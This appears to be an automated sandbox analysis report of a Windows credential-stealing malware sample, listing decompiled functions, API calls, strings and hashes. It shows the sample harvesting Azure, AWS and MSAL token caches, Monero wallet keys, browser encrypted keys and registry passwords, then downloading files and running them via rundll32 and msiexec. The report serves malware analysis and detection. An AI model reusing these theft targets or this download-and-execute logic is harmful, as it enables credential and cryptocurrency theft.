Azure\.aws, xrefs: 00394E5F
\.IdentityService\, xrefs: 00394ED9
Azure\.azure, xrefs: 00394DD3
\.azure\, xrefs: 00394DC1
Azure\.IdentityService, xrefs: 00394EEB
*.*, xrefs: 00394E64
msal.cache, xrefs: 00394EF0
\.aws\, xrefs: 00394E4D

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ec14198ede539764cc98dfbc9b060d6e93c8abc0c312f1965f64104387dca8d3
Instruction ID: 493463e42798e4a39787ae4a3b0a2ce115735d518e0fe9308e637d7a47357c43
Opcode Fuzzy Hash: ec14198ede539764cc98dfbc9b060d6e93c8abc0c312f1965f64104387dca8d3
Instruction Fuzzy Hash: C241D6BA95030867DB15F760EC47FEE3738AB65704F004494B245AA0C1FEB45BC98B92

Function 00392E30 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

ShellExecuteEx.SHELL32(0000003C), ref: 003931C5
ShellExecuteEx.SHELL32(0000003C), ref: 0039335D
ShellExecuteEx.SHELL32(0000003C), ref: 003934EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00393332
`, xrefs: 00393070
/passive, xrefs: 0039345B
<, xrefs: 00393490
.dll, xrefs: 003931E5
"" , xrefs: 0039309A
C:\Windows\system32\msiexec.exe, xrefs: 003934BF
/i ", xrefs: 003933E4
.msi, xrefs: 00393398

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe$`
API String ID: 2507796910-1874571557
Opcode ID: fccde21924cd6ee9074d54be6308dd41d875e42e703b5f24d365a2c2401768e6
Instruction ID: ac345bdbf4afad4efea6b61427706070990cdd9e31017373fb5333ca9d24c139
Opcode Fuzzy Hash: fccde21924cd6ee9074d54be6308dd41d875e42e703b5f24d365a2c2401768e6
Instruction Fuzzy Hash: 0C12FF718145189ADF1AFBA0DC92FEEB778AF14300F504259F5066A191EF342B4ADFE2

Function 00394280 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 003942EC
lstrcat.KERNEL32(?,00E3E470), ref: 0039430B
lstrcat.KERNEL32(?,?), ref: 0039431F
lstrcat.KERNEL32(?,00E3CFF0), ref: 00394333

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 00398D90: GetFileAttributesA.KERNEL32(00000000,?,00381B54,?,?,003A564C,?,?,003A0E1F), ref: 00398D9F

Part of subcall function 00389CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00389D39

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 003993C0: GlobalAlloc.KERNEL32(00000000,003943DD,003943DD), ref: 003993D3

StrStrA.SHLWAPI(?,00E3E4A0), ref: 003943F3
GlobalFree.KERNEL32(?), ref: 00394512

Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389AEF
Part of subcall function 00389AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00384EEE,00000000,?), ref: 00389B01
Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389B2A
Part of subcall function 00389AC0: LocalFree.KERNEL32(?,?,?,?,00384EEE,00000000,?), ref: 00389B3F

lstrcat.KERNEL32(?,00000000), ref: 003944A3
StrCmpCA.SHLWAPI(?,003A08D1), ref: 003944C0
lstrcat.KERNEL32(00000000,00000000), ref: 003944D2
lstrcat.KERNEL32(00000000,?), ref: 003944E5
lstrcat.KERNEL32(00000000,003A0FB8), ref: 003944F4

Strings

p, xrefs: 003942FD

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: p
API String ID: 3541710228-2678736219
Opcode ID: 4ccf44c73058f4b87112b21f9a4298d2740853347b15df38da5300169a47da08
Instruction ID: 907f2bf0e7df2415991ad31559b94adcfd08173870d8daf31b389db4583efa3c
Opcode Fuzzy Hash: 4ccf44c73058f4b87112b21f9a4298d2740853347b15df38da5300169a47da08
Instruction Fuzzy Hash: C07166B6900608ABCF15FBE0DC85FEE777DAB98304F044598F605A7181EA35DB49CB91

Function 00399010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0039906C

Strings

image/jpeg, xrefs: 00399136

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 424950658fedeba7f591bf3062e4f3292614c79fe0ccab97a9bf839e2e1f71a7
Instruction ID: b404a8fc6ae3ca88664d2b0bbf89bb520614bb79288eb632cfdf71adab80f500
Opcode Fuzzy Hash: 424950658fedeba7f591bf3062e4f3292614c79fe0ccab97a9bf839e2e1f71a7
Instruction Fuzzy Hash: A371DA75910608AFDB04EBE4DC89FEEBBB8FB58704F108508F516AB290DB34A945DB61

Function 003952C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 00386280: InternetOpenA.WININET(003A0DFE,00000001,00000000,00000000,00000000), ref: 003862E1
Part of subcall function 00386280: StrCmpCA.SHLWAPI(?,00E3EA88), ref: 00386303
Part of subcall function 00386280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00386335
Part of subcall function 00386280: HttpOpenRequestA.WININET(00000000,GET,?,00E3DFD8,00000000,00000000,00400100,00000000), ref: 00386385
Part of subcall function 00386280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003863BF
Part of subcall function 00386280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003863D1

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395318
lstrlen.KERNEL32(00000000), ref: 0039532F

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00395364
lstrlen.KERNEL32(00000000), ref: 00395383
lstrlen.KERNEL32(00000000), ref: 003953AE

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

ERROR, xrefs: 0039546F
ERROR, xrefs: 0039530A
ERROR, xrefs: 003954A9
ERROR, xrefs: 003953B9
ERROR, xrefs: 00395432

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: f4707985c637b060af7a24b195f0e6474022f8b2bf44e3fabe87b810d184f07d
Instruction ID: 1cb66829debcc476dde847120aca26fd12742872116859a1fa3540db3582b727
Opcode Fuzzy Hash: f4707985c637b060af7a24b195f0e6474022f8b2bf44e3fabe87b810d184f07d
Instruction Fuzzy Hash: 21510C309246489BDF16FFA0CD96AED7B79EF11300F504118F40A6E592EF346B46DBA2

Function 00381310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003812B4
Part of subcall function 003812A0: RtlAllocateHeap.NTDLL(00000000), ref: 003812BB
Part of subcall function 003812A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003812D7
Part of subcall function 003812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003812F5
Part of subcall function 003812A0: RegCloseKey.ADVAPI32(?), ref: 003812FF

lstrcat.KERNEL32(?,00000000), ref: 0038134F
lstrlen.KERNEL32(?), ref: 0038135C
lstrcat.KERNEL32(?,.keys), ref: 00381377

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,00E3A360,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00381465

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

DeleteFileA.KERNEL32(00000000), ref: 003814EF

Strings

\Monero\wallet.keys, xrefs: 0038138D
.keys, xrefs: 0038136B
wallet_path, xrefs: 00381330
SOFTWARE\monero-project\monero-core, xrefs: 00381335

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 8967d7a653acc24572147b584719b3a9dfa0f8da7c4f2527b175ae15e49a34e4
Instruction ID: a5394581503e42e253d2a7abc58ed085fae339561472caca1a9255299f73ea92
Opcode Fuzzy Hash: 8967d7a653acc24572147b584719b3a9dfa0f8da7c4f2527b175ae15e49a34e4
Instruction Fuzzy Hash: C75132B19506195BCF16FB60DC92FED777CAF54300F4042D8B60AA6081EF706B89CBA6

Function 003875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003872D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0038733A
Part of subcall function 003872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003873B1
Part of subcall function 003872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0038740D
Part of subcall function 003872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00387452
Part of subcall function 003872D0: HeapFree.KERNEL32(00000000), ref: 00387459

lstrcat.KERNEL32(00000000,003A17FC), ref: 00387606
lstrcat.KERNEL32(00000000,00000000), ref: 00387648
lstrcat.KERNEL32(00000000, : ), ref: 0038765A
lstrcat.KERNEL32(00000000,00000000), ref: 0038768F
lstrcat.KERNEL32(00000000,003A1804), ref: 003876A0
lstrcat.KERNEL32(00000000,00000000), ref: 003876D3
lstrcat.KERNEL32(00000000,003A1808), ref: 003876ED
task.LIBCPMTD ref: 003876FB

Strings

: , xrefs: 0038764E

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: c4ac5ddd66e408eb7f435b15f9d3a53690f35e557c8e3120040223d4dbf1c36f
Instruction ID: d3221e06edda73b4964fd788a0862bea70589f4d1d9d41fe5f51bad368f52e9f
Opcode Fuzzy Hash: c4ac5ddd66e408eb7f435b15f9d3a53690f35e557c8e3120040223d4dbf1c36f
Instruction Fuzzy Hash: 7F312972D00609DFCB06FBA4DC99DEE7B79AB54305B244158F102AB290DB34A94ADB61

Function 00398100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E3E1E8,00000000,?,003A0E2C,00000000,?,00000000), ref: 00398130
RtlAllocateHeap.NTDLL(00000000), ref: 00398137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00398158
__aulldiv.LIBCMT ref: 00398172
__aulldiv.LIBCMT ref: 00398180
wsprintfA.USER32 ref: 003981AC

Strings

%d MB, xrefs: 003981A3
@, xrefs: 0039814D

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: c380bf1fe0afbb89a1ab17316eba0950e6d505a3d436a8065cbeeefcb8603aef
Instruction ID: 8d4a74a3f157d875425abb4447cfe267e8b7958d743c0927800fe4e7f0ed4069
Opcode Fuzzy Hash: c380bf1fe0afbb89a1ab17316eba0950e6d505a3d436a8065cbeeefcb8603aef
Instruction Fuzzy Hash: AF211AB1E44218ABDF00DFD4DD4AFAEBBB8FB45B14F104609F605BB280D77869058BA5

Function 003860A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

InternetOpenA.WININET(003A0DF7,00000001,00000000,00000000,00000000), ref: 0038610F
StrCmpCA.SHLWAPI(?,00E3EA88), ref: 00386147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0038618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0038620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00386249
InternetCloseHandle.WININET(?), ref: 00386253
InternetCloseHandle.WININET(00000000), ref: 00386260

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
